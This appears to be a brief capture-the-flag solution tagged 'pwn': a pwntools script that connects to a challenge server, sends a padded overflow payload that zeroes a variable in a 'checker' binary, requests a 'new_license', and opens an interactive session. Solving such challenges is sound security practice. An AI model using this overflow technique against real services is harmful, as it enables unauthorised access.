Tags: pwn 

Rating: 0

```
from pwn import *

#r = process("./checker")
r = remote("54.38.137.181",5555)
pause()

r.recvuntil(":")
a= "AAAAZZZZEEEERRRR"+p32(0x0) # set read to 0

r.send(a)
r.sendline("new_license")
r.interactive()
```